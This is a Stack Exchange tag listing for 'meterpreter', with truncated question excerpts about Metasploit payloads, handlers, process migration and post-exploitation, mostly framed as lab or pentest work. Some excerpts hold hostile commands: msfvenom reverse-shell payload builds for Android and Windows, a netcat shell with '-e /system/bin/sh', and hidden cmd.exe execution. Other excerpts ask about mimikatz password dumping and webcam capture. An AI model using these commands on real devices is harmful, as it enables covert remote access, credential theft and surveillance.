The Stack Overflow podcast is back! Listen to an interview with our new CEO.

Questions tagged [meterpreter]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
1
vote
1answer
592 views

Get the privileges of root with the user with I do an exploit with Shellshock [closed]

I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability: use ...
1
vote
0answers
1k views

Unable to migrate meterpreter into 64 bit process? [duplicate]

How to migrate a meterpreter process into a 64 bit process? When i run following exploit (ie_execcommand_uaf), it migrates into explorer which is 32 bit rather than to notepad.exe which is a 64 bit ...
1
vote
2answers
864 views

Run metasploit console resource scripts

Hi I want to do this in my lab environment: When meterpreter shell is gained, automatically I want to execute console commands such as route add, jobs -K or use some other exploit or auxiliary ...
1
vote
0answers
458 views

Android meterpreter payload crashes app

I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes. Loading the raw payload apk on my phone works over LAN/WAN. I injected the payload manually by ...
1
vote
1answer
440 views

Prevent metasploit meterpreter process migration [closed]

Is there any way to prevent meterpreter process migration.?
1
vote
0answers
226 views

Setup a meterpreter session trough a vpn

this is my first post here. I was trying to start a meterpreter session from a mac to my kali Linux machine trough a vpn but it isn't working. I downloaded openVPN config files from vpnbook.com and ...
1
vote
1answer
2k views

Manually migrate to another process without using metasploit? [duplicate]

There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID. Imagine I have my own session running. How could I migrate to another process without ...
1
vote
1answer
154 views

Meterpreter connections

If i setup a meterpreter reverse_https payload and send to multiple targets and they execute the payload whithout my handler running, when I setup the handler will they connect or do I have to have ...
1
vote
0answers
345 views

Metasploit to connect to a target behind NAT

During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically, they have a public ip : 1.1.1.1 and there are ...
1
vote
0answers
881 views

Metasploit payloads with VPN or proxies?

I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
1
vote
1answer
2k views

Stdapi commands not showing in meterpreter session

I created a android payload with public IP (android/meterpreter/reverse_https). The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network. But when I try to ...
1
vote
0answers
833 views

web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
1
vote
0answers
766 views

Attaching orphaned/stageless session meterpreter

I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter" But after I lose connection, and victim connects ...
1
vote
0answers
543 views

Android not connected to kali linux with meterpreter in metasploit

I keep running into an error. I create an apk: msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk In the console, I configure the multi/handler: set PAYLOAD ...
1
vote
0answers
112 views

Metasploit Plugin not interacting with Meterpreter Client

I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
1
vote
0answers
388 views

Metasploit payload problem [closed]

Recently I tested a shell vector payload. A text file converted to .bat, which is both theoretically and practically 100% undetectable by antivirus. First I tested it on my host computer for Kali ...
1
vote
0answers
1k views

How does Metasploit's payload work with a remote target?

I have some simple questions. I often use Metasploit in my pentest engagements. It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
1
vote
0answers
1k views

Meterpreter:execute command failed [closed]

When run execute -f cmd.exe -i -H, Meterpreter gave me an error: [-] stdapi_sys_process_execute: Operation failed: 1 What is causing this, and how to resolve it?
0
votes
3answers
154 views

How can clicking on a URI infect a host? [duplicate]

I watched a generic information security awareness presentation earlier, in which all that was required for the presenter to penetrate an organisation (with a meterpreter/reverse shell), was for ...
0
votes
2answers
2k views

Meterpreter reverse_https ExitOnSession

When I'm setting the options for the reverse_https handler in metasploit, why would I set ExitOnSession to false and SessionCommunicationTimeout to 0? I don't fully understand the purpose. When I used ...
0
votes
1answer
154 views

How to launch a Metasploit module with arguments in just one command

I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
0
votes
2answers
519 views

How to use standalone meterpreter exe with a USB key connected to an unlocked victim session

When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text. But sometimes the client has no ...
0
votes
1answer
5k views

How to set correctly set Local Host on a payload for a user outside subnet?

I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options ...
0
votes
1answer
517 views

Adding plugin to meterpreter

I'm trying to add a meterpreter plugin, a = client.railgun.kernel32.GetLogicalDrives()["return"] # Math magic to convert the binary to letters drives = [] letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" (...
0
votes
1answer
550 views

How do I get back to a Meterpreter shell after backgrounding it?

Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session. In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
1answer
687 views

Meterpreter reverse shell alternative

What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
0
votes
1answer
522 views

From SQL Injection in SQLite to shell

I need to obtain a shell from an SQL injection over an application with sqlite database. Currently my exploit looks like the following: lucian@0x90:~/$ proxychains nc 10.185.10.55 1101 ProxyChains-3....
0
votes
2answers
1k views

MSFvenom payload with dynamic options

I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
0
votes
1answer
657 views

How to find external ip address a payload uses to connect back to the attacker?

I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk. I used apktool to decompile the file and collect some information about the ...
0
votes
2answers
913 views

Msfvenom meterpreter android architectures

Is there any android architecture I can set my meterpreter reverse_http payload to that works on every android phone? Basically, when I don't set any architecture it defaults to dalvik but that ...
0
votes
1answer
905 views

Android meterpreter invalid session

Every time I use a meterpreter reverse https on an android phone over the internet, a session is created but after some seconds it says the session is not valid and it closes. When I do it on the LAN ...
0
votes
1answer
339 views

Meterpreter Webcam_snap warnings [closed]

Since I updated metasploit every time I run the webcam_snap command in meterpreter in recieve lots of warnings like the ones below, why do they appear? Gtk-WARNING **: Theme parsing error: gtk-...
0
votes
1answer
3k views

Error when using metasploit mimikatz module

I'm working on dumping plaintext passwords from a compromised machine (it's my computer, research, blah blah blah) Anyways, I'm getting a weird error when running the metasploit module in a ...
0
votes
1answer
483 views

How can I open a meterpreter shell on the target server after redirecting the target server to my own web server hosting the payload?

Alright, so here is what I did to a vulnhub machine after I found a XSS vulnerability in it. Generated a reverse_tcp php payload and kept it within my web server. Navigated to my web server's payload ...
0
votes
0answers
19 views

Auto execute meterpreter commands on session start(android) [duplicate]

I want my meterpreter to execute the command as soon as it gets the session. My payload is android/meterpreter/reverse_tcp I want a file that can execute these commands automatically as soon as ...
0
votes
0answers
42 views

Meterpreter shell not presenting results

After successfully running an exploit from Metasploit (Drupageddon), I am trying to run commands through the shell command in meterpreter. However, it displays prompts but not the results of any other ...
0
votes
0answers
698 views

Meterpreter is failing to load any extension except the core commands

[*] Starting persistent handler(s)... msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https ...
0
votes
0answers
116 views

Meterpreter Upload won't work

I am trying to follow a walkthrough for a CTF and there is one point where i have to upload a unix-privesc-check file to the other machine. Well when i use the command i get this response upload /...
0
votes
0answers
21 views

Using stack-based memory_dump, the value of esp in query_regs is always 0

I was trying to use https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/memory_grep.rb using the stack-based method. However it wasn't working. What I do is ...
0
votes
0answers
46 views

How can I use netcat to connect back from my meterpreter session to my santoku OS android

I have install netcat in my genymotion VM machine. When I give command through adb nc -l <IP ADDRESS> -p <PORT> -e /system/bin/sh It runs. But when I try to launch this same command from ...
0
votes
1answer
149 views

How to response to Meterpreter HTTP Request sent from client

First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
0
votes
1answer
160 views

How to set autorunscript of core commands?

I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
0
votes
1answer
264 views

Switching to native meterpreter

I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service. I want to change to a windows meterpreter(in ...
0
votes
1answer
595 views

Meterpreter file upload - segmentation fault

I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
-1
votes
1answer
4k views

Windows 10 not running meterpreter payload

I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment ...
-1
votes
3answers
927 views

How to edit and save a file from MS-DOS under meterpreter?

Once I have a meterpreter shell on the machine, I opened a MS-DOS prompt with this command: execute -f cmd.exe -i -H Then, I would like to edit a file with edit file_name, but I don't know how to ...
-1
votes
1answer
796 views

How can a reverse shell payload be executed? [closed]

With metasploit it is possible to open a reverse shell via meterpreter. For this you need to place a payload on the attacked server. E.g., there is an endpoint open that places files on a server, and ...
-1
votes
1answer
192 views

Penetration testing of windows ( Corporate systems )

So I am part of the team where in we have to conduct a penetration testing assignment for our client. Basically what he wants from us is to show how we can get into their system with the help of ...
-1
votes
2answers
308 views

Meterpreter reverse_https website

When I make a a meterpreter connection with reverse https how do I change the website that appears when someone types my ip and LURI to the browser?
-1
votes
1answer
457 views

How to connect reverse_tcp with my remote server(not in the same machine where i have metasploit)?

This is my question: How to connect reverse_tcp meterpreter with my remote server(NOT in the same machine where i have installed metasploit)? It's possible? I need this because i haven't a public ip ...